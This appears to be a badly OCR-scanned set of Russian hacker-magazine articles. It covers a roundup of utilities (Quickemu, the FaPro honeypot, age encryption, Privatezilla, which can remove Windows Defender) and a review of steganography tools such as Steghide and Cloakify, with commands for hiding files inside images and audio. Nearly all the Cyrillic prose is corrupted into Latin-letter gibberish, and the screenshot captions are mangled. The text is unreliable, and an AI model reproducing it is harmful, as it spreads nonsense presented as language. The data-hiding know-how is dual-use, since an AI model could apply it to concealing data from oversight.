1418355113 0 l-wx——---- 1 www-data www-data 64 Nov 3 08:12
/proc/1009271/£d/18 -> /opt/www/.pm2/logs/pm2-logstash-out.log\ (deleted)

1418355114 0 l-wx——---——- 1 www-data www-data 64 Nov 3 08:12

/proc/1009271/£d/19 -> /opt/www/.pm2/logs/pm2-logstash-error.log\ (deleted)

OunuiaeM ain(sr):
# truncate -s 0 /proc/1009271/£d/18



Quickemu

[Tpoext Quickemu (https://github.com/wimpysworld/quickemu) npusBaH o6yer4utsb
CO3JaHHe JECKTOMHBIX BUPTYaJIbHBIX MalllMH. Teneps Ooibllie HE HY)KHO HCKaTh JUCTPH-
OyTHB, CTaBUTh €r0 B BUPTYaJIbHOE OKpYXeHHE (KOTOpOe 4YacTo TpedyeTcs elle ¥ Ha-
CTPOMTb Nepel ITUM), HacTpauBaTh rocteByro OC M TOBKO MOCIIE 3TOrO MOJIL30BATHCA —
JOCTaTOYHO HANKCATh BCEro ABE KOMaHbI U MOJy4YHUTh TOTOBYIO CUCTEMY.

YcranoBuTh ero Ha Ubuntu MO>KHO BCero B napy KOMaH.I:

sudo apt-add-repository ppa:flexiondotorg/quickemu
sudo apt update
sudo apt install quickemu

Jns apyrux AMcTpuOyTHBOB MPOCTO KIIOHUPYH peno3uTopHii cebe.

HO Ha 3TOM HpPIK.I]iO‘{CHPIFI HE€ 3aKaH4YHUBAKOTCA. Hy)KHO [S01(S yCTaHOBPITb Il.HPIHHbIﬁ CITUCOK
3aBHCHMOCTEH ;

O QEMU (https://www.qemu.org/) (6.0.0 i1 HoBee) ¢ nogamepxkoit GTK, SDL,
SPICE u VirtFS;

Bash (https://www.gnu.org/software/bash/) (4.0 nnu Hosee);
Coreutils (https://www.gnu.org/software/coreutils/);

EDK II (https://github.com/tianocore/edk2);

Grep (https://www.gnu.org/software/grep/);

Jq (https://stedolan.github.io/jq/);

LSB (https://wiki.linuxfoundation.org/lsb/start);

Procps (https://gitlab.com/procps-ng/procps);

Python 3 (https://www.python.org/);

Quooouoaogoaoaa

Macrecovery
(https://github.com/acidanthera/OpenCorePkg/tree/master/Utilities'macrecovery);

Mkisofs;

Usbutils (https://github.com/gregkh/usbutils);

Util-linux (https://github.com/karelzak/util-linux);

Sed (https://www.gnu.org/software/sed/);

Spicy (https://gitlab.freedesktop.org/spice/spice-gtk);

Swtpm (https://github.com/stefanberger/swtpm);

Wget (https://www.gnu.org/software/wget/);

Xdg-user-dirs (https://www.freedesktop.org/wiki/Software/xdg-user-dirs/);
Xrandr (https://gitlab.freedesktop.org/xorg/app/xrandr);

Quouoouooooaoa

Zsync.
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Janbiiie MOXXHO IPOCTO B IBE KOMaHAbI 3ayCTUTh J1000i JHCTPHOYTHB:
quickget ubuntu focal

quickemu --vm ubuntu-focal.conf

Tax e nerko MoXHO MOCTaBUTh, HarlpuMep, macOS:
quickget macos catalina

quickemu --vm macos-catalina.conf

KpOMe catalina, KOHEYHO, NMOAACPKHUBAIOTCA €LI€ M high-sierra, mojave, big-sur H
monterey. bosee moapoOHO o 3anycke macOS yHTail B peMmO3UTOPHH.

YCcTaHOBHTH MOXHO Aaxe HoBeiyro Windows 11!

quickget windows 11

quickemu --vm windows-11.conf

KoHdurypanuu BUpTyaTbHBIX MAlIHH JIETKO H3MEHHTH, 100aBlsAs CTPOKH B KOH(HIH.
Crnenyromas koHQUrypanus co3gacT BHPTYaJIbHYIO MAlIHHY C LIECTHIO SApaMH Mpolec-
copa, 24 I'6aititr O3V u auckom Ha 640 ['6aiit:

cpu_cores="6"

ram="24G"

disk size="640G"

MoxHo naxe INOPThI IPOKHABIBATH:
port forwards=("5050:5050" "8888:80")

B o61em, npekpacHbslif HHCTPYMEHT IS MPOCTOr0 MOJHATHS JTI0O0r0 KOJHYECTBa JIO-
6b1x BHpTyanok. PekoMeHayo nonpoboBats!

BcsauvHa

FaPro

Ecnu Tebe BAPYr cpoYHO NOHamo0HIICA XaHUNOT, — oOpaTuH BHUMaHHe Ha Fake Protocol
Server (https://github.com/fofapro/fapro). O ymeeT npUKHIBIBaThCS Pa3IHYHBIM CEp-
BepHbIM 10 1 06pabaThiBaTh 3aNPOCH MO COOTBETCTBYIOLIMM MPOTOKOJIAM.

B rutxabe npoekTa ecTb HECKOJIBKO POJIMKOB, KOTOPhIE OYEHBb XOPOIIO MOKA3bIBAIOT BO3-
MOXHOCTH YTHJIHTHI. HEKOTOpble H3 HUX A MPUBELY 31€Ch, YTOOBI Thl HE TPaTHJ BpeMs
Ha uYTeHHe OpHIHATBHBIX J0oKOB (pHc. 3.14, 3.15).

Ectp Bcero onHa Heboibuas npobieMKa: HCXOJAHHKOB HET, TOJBKO OMHapHHK B apXH-
Be (https://github.com/fofapro/fapro/releases), 1 3TO BBI3bIBAET HEKOTOpPHIE BOMPOCHI.
B issues yxe HEOJHOKPAaTHO CHpAlIMBATH NP0 MCXOAHHKH, HO aBTOp COCJAJCA
(https://github.com/fofapro/fapro/issues/1#issuecomment-919651125) Ha TO, YTO KOJI
€llle CITHILIKOM CBIPOH.



N et % B

w
€ C O iccathostR0%0/#/pretoco

£¥  Administrator: Windows Powect

/fapro.exe
./¥apro
Al

level=info msg="[mercache] at
"lelasticse. eping tep at

level=info msg

info

Puc. 3.14. RDP-xanunot

Puc. 3.15. SSH




Age

Bce MBI 3HaeM, kak cxaTh (Gain HIM ynakoBaTh HECKONBKO (aiiloB B OIMH KOHTEHHED.
A kak HacyeT WH(poBaHHA 3THX KOHTeHHepoB? CreuuanbHO A8 3TOro CYLIECTBYET
ytunuta age (https://github.com/FiloSottile/age) — coBpeMeHnHas u ObicTpas nporpam-
Ma 1711 wudpoBanus dainos, HanucaHHas Ha Go.

Ona ecTb B pEMO3UTOPHAX BCEX MOMYJAPHBIX OUCTPHOYTHBOB M CTaBHTCA M3 HHUX IO
MMEHHU NakeTa age. Eciu y 1ebs Windows, ckadyaTh MOCIEOHIO BEPCHIO MOXHO I10
cceuke (https:/dl.filippo.io/age/latest?for=windows/amd64) B oduunansHoM OuHap-
HOM PENO3UTOPHH NPOEKTA.

VY age Bce 3aBs3aHO Ha KIJIIOYH, a HE MapojH. MOXHO CreHepHPOBAaTh KJIKOY C MOMOLIBIO
age-keygen HJIM B3ATh TOTOBBIH K104 oT SSH.

CHauana naBail CreHEpUPYeM KIII04:
age-keygen -o age.key
Public key: agelql3z7hjyS54pw3hywwSayyfg7zqgvc7w3j2elw8zmrj2kg5Ssfnlaqmcac8p

Teneps 3amndpyem 4yTo-HHOY Ib:

tar cvz ~/data | age -r
agelqgl3z7hjy54pw3hywwbayyfg7zqgvc/w3j2elw8zmrj2kg5sfn9agmcac8p >
data.tar.gz.age

U pacundpyem:

age --decrypt -i age.key data.tar.gz.age > data.tar.gz

VYTunura noanepxuBaer WHGpOBaHHE IS HECKOJNBKHX Mosydartenei, mwudpoBaHHe C
NOMOILBIO Maposiel (C HEKOTOPBIMH OroBOopkaMH) M Tak nanee. Ilonpo6Hee — B readme
PEMNO3UTOPHS.

Privatezilla

Privatezilla (https://github.com/builtbybel/privatezilla) — 310 KOMIIEKCHBIH HHCTPY-
MEHT i MOBbILIeHHs npuBaTHOCTH B Windows 10. [la, yxxe u 11-1 BUHIOA BBILLIA, HO
«JEeCATKay eule J0aro 0yaeT akTyanbHOH.

Ona Windows 11 nonpobyn ytunuty ThislsWin11
(https://github.com/builtbybel/ThislsWin11) Toro xe paspaboTuunka.

Hrak, 4To ymMeeT 3TOT KOMOaHH:

O ynansaTh onpeneneHHbIe MPeayCTaHOBIEHHbIE IPHIIOKEHHS;

O ymanate OneDrive;

O otkpemiath MeHIO «Ilyck»;

O oTKiIIOYaTh TENIEMETPHIO CTOPOHHHX NpHuioxenui (Bpoae Office, Firefox, Dropbox);
O yaansate Windows Defender;

O GrnokupoBaTh TeneMeTpHIo yepes daiipBon u daiin hosts.
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ABTOp YyTHJIHTBI HAaCTOSATEIbHO HE PEKOMEHIYeT yAanaTh ¢aipBoN — OH BCE-TAaKH HE
NPOCTO TaK BCTPOEH. Pe30HHas pexoMeHaauus, eciny Thl He coOUpaelbes HCIoIb30BaTh
Kakoe-To Apyroe peuenue (puc. 3.16).

Analysis complete. [¢]
Selected: 20 - Configured: 13 - Not Configured: 7

Settings

Setting State
COWindows 10 (2009) é Privacy: Disable Telemetry Configured
{ZPnavacy ¥1 Privacy. Disable Compatibility Telemetry Not configured
{ADisable Telemetry 5 Privacy: Disable Advertising ID for Relevant Ads Configured
IDisable Compatibility Telemetry " Privacy: Disable Wi-Fi Sense Not configured
EDrsable Advertising 1D for Refevant Ads 8 Privacy: Prevent using diagnostic data Configured
(ADisable Wi-Fi Sense Privacy: Prevent using handwriting data Not configured

(&Prevent using diagnostic data
FPrevent using handwriting data
“Disable Windows Hello Biometrics

Privacy. Disable Windows Helio Biometrics Not configured
Privacy: Disable Timeline feature Configured

PADisable Tumeline feature Privacy: Disable Location tracking Configured
DDisable Location tracking Privacy: Do not show feedback notifications Configured
£9Do not show feedback notifications Pigacys Diable Windgwsilips Not configured
DDisable Windows Tips Privacy: Disable Ads and Links on Lock Screen  Not configured
@Disable Ads and Links on Lock Screen Privacy: Block automatic Instatabon of apps Configured
&3Block automatic Instaliation of apps Pnvacy: Block suggested apps in Start Configured
[MBlock suggested apps in Start Privacy: 8lock suggested content in Settings app Configured
[Block suggested content in Settings app Pnvacy. Disable Customer Experience Program  Configured
[IDisable Custorner Expenence Program Privacy: Disable Help Expenence Program Configured
MDisable Help Expenence Program Privacy: Disable Settings Expenmentation Configured
Disable Settings Experimentation Privacy: Disable nventory Collector Configured
&Disable Inventoty Collectar Privacy: Disable Get Even More Out of Windows Not configured
Disable Get Even More Out of Windows
CCortana
[CDisable Cortana o
OiDisable Bing in Windows Search . Lo sy APy secediiz,

Puc. 3.16. Privatezilia

[IporpamMMa yMeeT aHaTH3HPOBATh, YTO YK€ HACTPOEHO, U HE COBEPLLATH JIHIIHUX JEHCTBHH.

MoapoBHO O pa3HbiX WHCTPYMEHTax ANs OTKNIOYEHUS CMNeXkW Mbl  yxe nucanu
(https://xakep.ru/2018/10/23/win10-privacy/) B oqHon 13 ctatein Ha Xakepe. PekomeHayio
03HaKoMUTLCS!

BbiBoAbl

YBepeH, 4To Thl y3HaN O Kakoi-HUOy b HOBO#H nmone3Hol ans ceds wrykoBuHe. Ecinu Mel
BCE ellle He HAalHUCalld O TBOeH JIIOOMMOH yTHUINTe, — 1ail 3HaTh B peJakUHIO, U MBI, BO3-
MOJXXHO, BKITIOUHM €€ B CleAyIouyto noadopky. [IpustHoro nons3oBaHus!
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KapTuHKM c cekpeTamm.
TecTupyem BoceMb YyTUNUT
ANA COKPbITUA AAHHbIX

Mapk Knusmoe

Ecnu TH1 gyMaems, 4To B JOTKAaX ¢ KOTHKAMH HE MOXET CKPBIBaThCA HUYETO MOCTOPOH-
Hero, — cnemy TeOs pa3odapoBath (WM, Hao6opoT, mopagoBath!). Ceiyac s MOKaxy,
KaK BHEIPHTh B KapTHHKY, apXHB HJIM MECHIO JI00YI0 MOCTOPOHHIOW MHQOPMalHIO, Aa
TaK, 4TOOBI €€ HUKTO TaM He 3aMeTHII. IHTepecHo? [Tornanu!

O nmpuHUMNax creraHorpadMH MBI yXe He pa3 MHCaIH — CMOTPH, K NPHMEPY, CTAaThIO
«[Ipsuem oaiinsl B KapTHHKax: ceMb creraHorpadguyeckux yTHnuT s Windows
(https://xakep.ru/2017/01/23/windows-stenographic-tools/)». OnHako B Hel mepeuuc-
JIeHBI JaJieKo He BCe YTHIIMTHI M nmpHuen caenad Ha Windows. CerofHs Mbl pacCMOTPHM
BOCEMb AJIbTEPHAaTHBHBIX YTHIHT, B OCHOBHOM — KPOCC-IJIaTGOPMEHHBIE.

Cloakify

O Ilnardopma: mobas
O I'me ckauuBathb: GitHub (https://github.com/TryCatchHCF/Cloakify)

CloakifyFactory — 310 GoJbIas ¥ JIErKO paciuipsieMas MporpaMma, Kotopasi HCIoJb3y-
et ckpunthl Cloakify Toolset. OcoGeHHOCTB €€ B TOM, YTO MEpel MaCKUPOBKOH Harpy3kx
oHa konupyertcs B Base64 (puc. 4.1).

VY nporpaMMBI €CTb OTPOMHBIH IUTIOC — OHAa YMEET MacKHpPOBATh YTO YTOJHO HE MPOCTO
B KapTHHKaX, a elle H B BUAEO, My3bIKE H JaXke MPOrpaMMax, XOTb € MOCIEIHHMH H MO~
Jy4aeTcs MI0X0 — BBIXOXHOH (aia CHIIBHO pa3qyBaeTcs.

Pa6oraer Cloakify Ha Python 2.7, koTopsl#i yxe MopanbHO M GH3HYECKH ycTapen, a uc-
nons3oBanne Base64 mis ckpbITHA HHPOPMALMH OT HEBOOPY>KEHHOTO IJ1a3a MPHBOIMT K
CHJIBHOMY YBEIHUYEHHIO pa3Mepa, He 1aBasi HUKaKoro 3aMETHOTO NPEHMYLIECTBA.

Hns mpumepa naBail OOBIYHBIN TEKCTOBBHIH JOKYMEHT BHEAPHM B KapTHHKY QopMa-
ta JPEG. Moii ucxoaHbIH (aisl Ha3bIBaeTCA save.txt H JIEKHUT B OJHOH IHPEKTOPHH C
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caMoi mporpaMMoi. BHenpenue daiina xpaiHe MpOCTOE M BBIMISAUT MPUMEPHO Tak
(puc. 4.2).

marklint@linux: ~ /Stegan/Cloakify

®ann [fencrsua [lpaBka Bup Cnpaska

Puc. 4.1. [naBHOe MeHKO

ify a File

me to

d data to fil

Puc. 4.2. [Npsyem aitn

[MponyckaeM ¢yHKUHIO J0OaBIEHHUs IyMOB. JUJIl HAC OHH MOTOMIbI HE CIENAIOT, HO, €CIIH
Thl XO4Y€lIb JOTOJHUTENBHO 3aMacKUPOBaTh HHPOPMaIHIO, MOTYT TOMOUb (pHc. 4.3).

Kak Tbl yxe Mor norazaTbesi, 3TOT cO(T IJI COKPBITHS NEHCTBUTENBHO CEKPETHOHM HH-
dopMaHU MPUMEHATH CTpeMHO. Ho ecTb ¥ Mmitockl, BpOA€ NpoCTOTH paboThl M TOTO, YTO
BBIXOJHBIX (pOopMaToOB 4yTh OoJIee YyeM Kyua.



ﬁ Ceolicrsa.
O6ume Be3onacwocts [104POGHO  ipenwayime Bepcn Osume BeaonacwocTs [100POGHO  Mpenmayume Bepcwn

Csoncreo 3HoueHve C CsoncTe0 3Snauenve
PeaxocTs b ‘ Dain
Banawc 6enoro WiMa save bt
POTOMETPHULECKER UHTEPTP. Tun TexcToBLM ROKyMeNT
Wipposoe ysenudeHne Myts K nenxe
Bepena EXIF Paamep 136807
Dawin Data co3namna
Wma catjpg Rata uameHeHns
Twn anemenTa ATpnEy Tt A
MyTe x nanke Brageneu,
Bata coananna Komnstotep

| Dota uaMeHerns
Pa3swep 106 6anr
ATpnby Tt A
NoctynHocTe
ABTOHOMHOCTH

| O6wma noctyn

| Bnaneneuy, |

j KomnsioTep I

]
Yaanenne cBORCTE i vt MHGQODMA LN t oA JMUHOR Wi ML
oK . Ommena oK | Ortmens " ‘ :a:n._

Puc. 4.3. lNocne v oo

Steghide

O Ilnardopma: mobas
O TI'ne ckaunBatb: GitHub(https://github.com/StefanoDeVuono/steghide)

Steghide — koHconpHas yTunuTa, HanucanHas Ha C++. CkpbiBaeT HHGOPMALHIO B CTaH-
napTHeIX daitnax ¢popmaros JPEG, BMP, WAV u AU. B apcenane nporpamMMsl IOJHO
uinppoB — gaxe Blowfish, koToporo s y npyrux He 3amedan. TeopeTHYeCkH HCIIOIB30-
BaHHE TAKOH 3K30THKH MOJKET ITIOMOYb 3aITyTaTh CJEIbI €Ile CUIIbHEE.

Steghide ymeeT He mpocTo ynakoBbIBaTh JaHHBIE B KAPTHHKY MJIH TpEK, a elle U udpo-
BaTb CEKPETHYIO Harpy3Ky.

Ho ects u MuHyc: He Bce poTorpaduu u ayanodaniasl monodayT Ay BHEAPEHHUS B HUX
cexkpeTHoHM Harpy3ku. Ecnu dain cnumkoM ManeHbKHH — BHEOPUTh B HEro HHUYEro
HEJb3s1.

Hagaii nonpobyeM o6beIMHUTD KAPTHHKY cats.jpg U CEKPETHBIH QaliuK save. txt.

OTKpBIBaeM TEPMHHAJ H IMTHIIEM!
steghide embed -cf cats.jpg -ef save.txt

O embedfile [-ef] — (paiia, KOTOPBIH MBI OyZeM BCTPaUBaTh;

O coverfile [-cf] — (aia-00105KKa, B KOTOPHIH BHEAPSETCs CeKpeTHas HHPa;
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O compress [-z] — CXHMMaTh JaHHBIE NEPE] YIIAKOBKOH;
O encryption [-e] — WIH(POBATh BHEAPAEMBIE TaHHBIE.
PacnakoBka Tak e npocTa, Kak yrnakoBKa:

steghide extract -sf cats.jpg

Kntou --stegofile [-sf] MNO3BONseT BbIOpaTh Gailn co ckpeiTod HHbOpManmeH, a
--passphrase [-p] YKa3bIBaeT napois (puc. 4.4).

8 Csovicia cats Fipg X M Ceosictsa: cazspg X
O6uve BGeaonacHocts [10APOGHO  Mpenwaywue sepcHm O6wme Eeaonackocre (100P fipenwa

CeoicTso Inauenve A Ceoncreo Hauenve Al

PesxocTs Pe3kocTs

Bananc 6enoro Bananc senoro

POTOMETPUUECKOR MHTEPNP . POTOMETPULECKAN NHTEPTID

Unpposoe ysenvuenne Ungppoaoe yaenuueHne

Bepcus EXIF Bepcun EXIF

Dann ' Davin

ma cats_F jpg Wma cats )pg

Twn anementa Twun anemenTa

Ny7s k nanxe Myte k nanke

DNarta coznarma Date co3nsHwA

Data namerennn Lata namenerun

Paamep 63.1Kb Paamep 59.6 Kb

AtpunbyTit A ATPuGy T A

LOocrynHocTs DocrynxocTs b

gl

ABTOHOMHOCTB ABTOHOMHOCTE ";':-:

O6wwa nocTyn OBupd noctyn |

Bnaneney Bneaeneu

KoMnsioTep KomneioTep @
v vl

Yognenne cBOACTS v IMupoR B DMOLM Ynanepup CEONCTE ¥ NNUHORA MEDOPMOUAN
on | [ omews ] U

Puc. 4.4. Bor yto nonyuunocs

H3-3a INPUMEHEHHA CKXAaTHUs pa3HHULlAa pa3MEPOB A0 H I0CJIE BHEAPEHUA MHHHMaAJIbHA.

MHe noHpaBHIaCh BO3MOXHOCTb CTaBUTh MapOJIH M CXKMMaTh AaHHblEe. OHO3HAYHO XO-
polas ITyKa, KOTOPYH MOXXHO HCII0JIb30BaTh B JTHOOHUTENbCKHX LensiX. K ToMy e Mox-
HO CO3JaTh LIEMIOYKY M3 OOBEKTOB, KOTOpHIE OyOyT CIpsATaHbl OpPYT B Apyre. A MHHYC
TOJIBKO B TOM, YTO HE BCAKO€ H300pakeHHe MOAXOIUT I 3TOH MaHHIYJIALIMH, HO MBI Xe
xuBeM B XXI Beke, H HalTH HOBYIO (OTKY BooOLIe HE BONpoc, npaBaa?

Spectrology

0O Ilnardopma: mobas
O T'nme cxauusatb: GitHub (https://github.com/solusipse/spectrology)




0 61 0

HasBanne nporpamMmsl Spectrology roBopHT caMo 3a cebs — OHa I03BOJISET IPEeBpallaTh
n3006paXkeHHs B ayJHOJOPOXKH C «3apSHKEHHBIMH» CIEKTPOrpaMMaMH, M3 KOTOPBIX MO-
TOM MOXHO JOCTaTh KAPTHHKH. 3BYYHUT KPYTO, HO 6€3 mpobiieM He 060111I0Ch.

Tlepen nepBHIM 3al1yCKOM HY>XKHO IOCTaBUTh MOAYJIb pillow.
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade Pillow

Cpasy Gpocaercs B ria3a BTOPOH OrpoMHBIH MHHYC — KpaiiHe MeaeHHas pabora. XOTb
OH M C JIMXBOH NEpeKphIBAETCS IUIIOCAaMH B BHE HEOOBIYHOrO anroput™a paboThl U 1e-
peHocHMMOCTH (HamucaHa Ha Python).

Hagaii 3anakyem uzobpaxenne BMP B daiin WAV. [lenaetcs 310 Tak:
python spectrology.py your filename.bmp -o music.wav

O output [-o] — duiar, OTBeHaOUIMH 3a Ha3BaHHE BBIXOAHOro ayauodaiina;
O botton [-b] 3aJaeT HHXKHHI YaCTOTHBIH JHAINA30H;

O pixels [-p] MO3BOJISET YCTAHOBUTH KOJUYECTBO MHUKCEJIEH B CEKYHNY;

O sampling [-s] CTABHUT YacCTOTY AUCKDPETHU3ALHH.

JaBaii mocMoTpuM, Kakoro pasMepa OyaeT rotoBsiid ayguodaiin (puc. 4.5).

£ Ceoncisa catswav X ﬁ Ceoncrea. cats bmp
OBupe BesonacHocts | [10APOGHO  Mpensnyuve Bepcun OSume Besonascnocte [10APOGHO  (Mpemmaymme sepcun
Ceoncteo 3HaueHwe N CeoficTe0 3HaueHne ™
LD 18 CUIUBHIDN MY Tib | NMeAMD V306paxetne
ABsTOpPCKuWe npaBa Paapewerme 976 x 549
Coaepxumoe WupwnHa 976 nukcenen
PoanTenbCxki KOHTPONL Buicota 549 nnxkceneA
MpuunHa BLG0Pa peATUHra [sry6nHa useta 32
Qaiin Dagn
(400 cats.wav Vima cats bmp
Twn anemeHTa 3syx WAVE Twun anementa
MNyTs k nanke | My7e k nanke
Data coanamma l' Nata coapanmn
Lata nameHeHns i [NlaTe wameHeHns
Paamep 44 GanT J Paamep 204 M5
ATpNGY Tt A ] ATPNOYTH A
DocTynHoCTL DoctynHoc Ts
ABTONOMHOCTb | ABTOHOMHOCTS
O6umA goc Tyn OGuwi noctyn
Bnageney ' Bnaneney
KomneioTep ' KomnbioTep
vi v

Yaanexne cBONCTB W INSHOA NHDOPMILAY

—

Puc. 4.5. PesynsTat paboTsl

B uenoM paboTtaetr MeIEHHO H M3 KOPOOKH JaXke He 3alyCKaeTCcss — IPUXOIUTCA HEIO0C-
TalollMe MOIYJIH CTaBUTh Bpy4YHYI0. He mpou3BOAMT BIEYATIIEHHsA XOPOLIO MpopaboTaH-
HOTO HHCTPYMEHTa, XOTH 3aIyMKa, 6€3yCII0BHO, K1acCHas.



ImageSpyer G2

O Ilaatdopma: Windows
O I'me cka4MBAaTh: IA€ MONTYYHUTCS

3To oaHA U3 APEBHHX YTHIIMT, KOT/a-TO HAMHUCAHHBIX AJIEKCAHAPOM MSCHHKOBBIM H
HbIHE BCTPEYaoMIascs JIMIIB Ha mpocTopax (ainonomoex. OdUUMANBHBIA CaHT y Hee
€CJIM KOraa-to ¥ Obul, TO JaBHO He paboTaer. TeM He MeHee MporpaMma 3acily)KHBaeT
BHHMaHHS.

ImageSpyer npsyer cexpeTHble (aiibl TOJBKO B KAPTHUHKH M JaXKe pa3pellaeT CTaBHUTh
napois, 4ToObl 3alndpoBaTh AaHHbIE Nepea BHeapeHHeM. [Iporpamma momnepxuBaeT
oxo0J10 30 anropuTMOB WHGPOBaHHSA BHEApseMOH HHGOpPMAUHH U 25 xew-QyHKUHH 1715
MOAIMKCH, YTOOBI YOETUThCS, YTO BCTPOEHHBIN B KapTHHKY ¢aitn He mobuics npu nepe-
naue (puc. 4.6).

Flash
Catch
Save
Load
Setup

Info

Puc. 4.6. NHTepdeic nporpammsi

Bonbwoit mioc — Hanuuue rpaduyeckoro HHTepdeica ¢ NOHATHBIMH MOACHEHHSAMH H
MHOX€ECTBOM HacTpoek. Beixoausix ¢popmatos Bcero asa: BMP u TIFF (puc. 4.7).

[TocMOTpHM, HACKOJIBKO CHIIBHO yBeIHYHIICS 00beM oTorpaduu (puc. 4.8).

Kak BuauIb, U3 ManeHbKOro KOTHka pasmepoM 59,6 K6aiT MbI cenanu TolCTOro Kora
Ha uensix 1530 Ko6aitt. Pe3ynsrar Heroxoi, aa u paboraer ImageSpyer OvIcTpo, Tak
YTO CMEJIO PEKOMEHIYEM K HCIIO0JIb30BaHHIO.
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Security options Compressno options

o (g 45 4 Compress hidden data
1|3 ] S |2

20 6 LZMA dictionary:

3 [y 7 4 [262144 ) )
Magic 1D 218893578 ; 2 1 Bl

[6a

Ciphot fos data encryption:

Gost _ ) LZMA levet

Hash for key setup: |6

- wipodl Tp o ]

Cipher mnde: Tiff compression:
BT T T e _— 3
[[] use over-filling for masking

[Juse RSD algorithm mode

Puc. 4.7. HacTpoiku nporpammel

ﬁ {scAciBa

O6upie Beaonecwocts [100POGHO  Mpepwayuse sepcvmn Ocmme beaonacwocts [100POGHO  Mpemmnyupe BePcmu

|
|
] | "
| Ceoacreo 3nauenue | Ceorcreo 3nauenve ~
|
|

MNyTe k nanke
DNave cosnanns
Nava u3meHenns

| MyTe k nenxe
| avra coananns
| Nava nameneHus

W306paxexne Pe3axocTs
| Paspewerme 976 x 549 Bananc 6enoro
| Wnpnwa 976 nukcenea POTOMETPUHECKER MHTEPNP
| Bucora 549 nukcenent : Ungpposoe ysennuenne
E Fry6uns useta 24 ' Bepcun EXIF
| oaiin i Daiin
| Vimm cats_F bmp f Hms ca jpg
| Tun anementa 5 Tum s3nemenTa
i
|
it

| Paamep 153MB Paamep 596 KB
ATpuGy T A | ATpuSy Tl A
HocTynHocTe | foctynHocTe

| ABTOHOMHOCTH i ! ABTOHOMHOC T

| O6uwmRr gocTyn | | | ®6umianoctyn

! Bnageney i | Bnaneney

i i 1

% KomnsioTep d | Komnbiotep

Yganevie CBOACTS 1 UAUHOR NHEODMALIIN ! Ypansrite CBORCTE W NVsinigR § May

|
" Omene | | Mpwmenire | | oK

Puc. 4.8. Cnesa — nocne obpaboTku, cnpasa — go

RedJPEG

0O Ilnardopma: Windows

O I'ze cKkaYMBATD: IJ€ NOTYYUTCA
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Ewe onuH crero3asp aBTopcTBa AnekcaHapa MsacHukoBa. Ha 3TOT pa3 ¢ cOOCTBEHHBIM
alIrOpUTMOM BHEApeHHs H300paxceHHs B KapTHHKH, cxartHeM LZMA u odopmieHuem
s Hoctanerupytowux no CCCP (puc. 4.9, puc. 4.10).

Puc. 4.10. Hactpoitku

A uT0 y Hac o o6bveMy nocie 3aakoBKH TEKCTa B KApTHHKY (puc. 4.11)?

BrieuaTiieHUs UCKJIIOUHTENBHO MO3UTUBHBIE. [IporpaMMa Mo3BoJsET XOPOLIO CHPATaTh U
3a1udpoBaTh 100y HyKHYH0 HH$opMauuio. [ToaxoauT A1 MOCTOSHHOrO HCIOJIB30BAHHUS.
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ﬂ Ceostcrea: cats_Fipa x ﬂ Croncrea: catsipg w
O6ape GeaonocHacts DOPOGHO  Mpemiaywges sapc O6@e  Hesonacwocms | 104P06HO  Mpemumyp® sepcrm
CeoncTs0 3nauerme A CaoncTB0 3uauerma Cnj
Pe3akocte PeakocTe
Bananc 6enoro Bananc 6enoro
PoTOMETPUUE CKBR MHTEPNP POTOMETPNUECKER MHTEPNP.
Usgpposoe ysemuenne Lxpposoe ysennuanne
Bepeus EXIF Bepcwn EXIF
Qain Dana
Wen cets_F jpg Wima cats jpg
Twn anemenTa Twun anementa
My s k nanke AyTs k nanke
DOava coanamnn Lara coanoHun
flate nameHermn LNato nameHerr
Pa3mep 60.1Kb Paamep 59,6 Kb
ATpucy et A ATpwSyTul A
LoctynmocTs . | LoctynmocTe !
ABTOHOMMHOCTS | ABTOHOMHOCTb i
O6umA aoctyn O6upah nocTyn :
Basgeney | Bnaaeney |
Komnuiorep ! Komnuiotep
- o
Ypanexue CBONCTE U AMUHON MHDODMOLMN Yoaneune cauCTe i IMUHON MHRODMAIY

Puc. 4.11. Mocne n po

OpenStego

O Inardopma: mobas
O Tne ckaunsats: GitHub (https://github.com/syvaidya/openstego/releases)

ITpoext OpenStego peanu3oBaH Ha Java, uMeeT nogaepxky mudposanus AES u kpaiine
MOMYJISAPEH CPEIH JKENaloMMX MO3HaKOMHUThCS cO creraHorpadueit. [Tonnepxxusaer mnna-
T'HHBI, 4TOOBI THI CaM CMOT PEaJIn30BaTh KakoH-HHOYIb cTeraHorpaduueckui aIropuTM.
Ectb Bepcuu u ans Windows, u ais Linux (puc. 4.12).

Kak u ImageSpyer, OpenStego 3HauuTeNnbHO pa3myBaeT pa3Mepsl ¢aiia, XOTb H He Ha-
cToabKko cuibHO. [TognepxuBaercst Takke BCEro OOUH Cocob ynakoBKH, HO 3TO JIETKO
NONpaBUTh [UIariHaMH. BeixoaHsle ¢aitnsl MoryT 6Tk TonbKO B popMaTte PNG, HO 310
HEJb3s Ha3BaTh COBCEM YK OOJBLIMM MHHYCOM, TeM 6oee 4To Ha BXOJ MOXHO 0/1aBaTh
moyTH 1060 popMar.

Ecte M uHTepecHas ¢YHKHMSA, KOTOPOH s He Haumen y KOHKypeHToB, — Digital
Watermarking. OHa no3BosseT TalikoM NoMeTHTh ¢oTorpaduio, 4ToObl JIETKO HaHTH BO-
pa. [lns 3Toro nporpaMMa BHEZAPSET B KapTHHKY HE3aMETHBIH HIEHTHHKATOP, KOTOPBIA
B JaJbHEHIIEM MOXHO OyIeT JOCTaTh U MPOBEPHTH, KTO B3sJ1 KapTHHKY 6e3 crpoca.

[TporpamMma He TpeOyeT YCTaHOBKH, a 3anmyckaercs 6aTHukoM (pHc. 4.13).

®aiin Ha BBIXOAE MOMYYHIICS KyAa TOMIIE, YeM ObL1, — pa3Mep YBEIHUYHIICS MOYTH Ha
800 Ko6aiiT.

ITo cpaBuenuto ¢ ImageSpyer OpenStego Bce ke Gonee Gorat puyaMu, 4TO MHE MOHpa-
BHJIOCh.
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& OpensStego - [m) X
File Help
. Hide data in harmiess bboking fies
£ ge File
[ Caver File
Extract Data (Sekect aasftiple s or provide wibiard (%, 7) to enbed same messape i aasftpk. ..
e e - — Tt el '[_'x
L TETT T - - o | (st
s
Output Stego File - =
- Options - — — — — S— —
Encryption Algorithm Esiza lv] |
Password | ]’
Confirm Password [ - - j
I Hide Data |
Puc. 4.12. OpenStego
ﬂ Caoncrea: cats_F png X E Ceoncrea: catsypg X
O6wme Besonackocts 10OPOGHO  [Mpeamayume Bepcun | O6une  Gesonacwocts [100pOBHO  [peasinyuve sepcyn
Caoncrao 3HaueHne Al Ceoncreo 3nauenne A
M3o6paxerme —--+ Pe3kocTh
Paapewenne 976 x 549 Banawc 6enoro
